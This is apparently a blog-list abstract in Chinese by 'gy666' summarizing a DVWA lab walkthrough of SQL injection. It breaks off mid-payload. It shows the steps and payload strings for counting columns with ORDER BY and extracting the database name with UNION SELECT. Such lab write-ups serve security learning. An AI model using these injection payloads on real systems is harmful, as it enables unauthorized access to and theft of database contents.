gy666

摘要： 使用 order by 查看一共有多少列1' order by 2#输入1' order by 3#提示可以知道，1和2两个位置都可以回显。利用2位置，查看当前的数据库为dvwa查数据库名1' union select 1,database()#查表名1' union select 1,table_ 阅读全文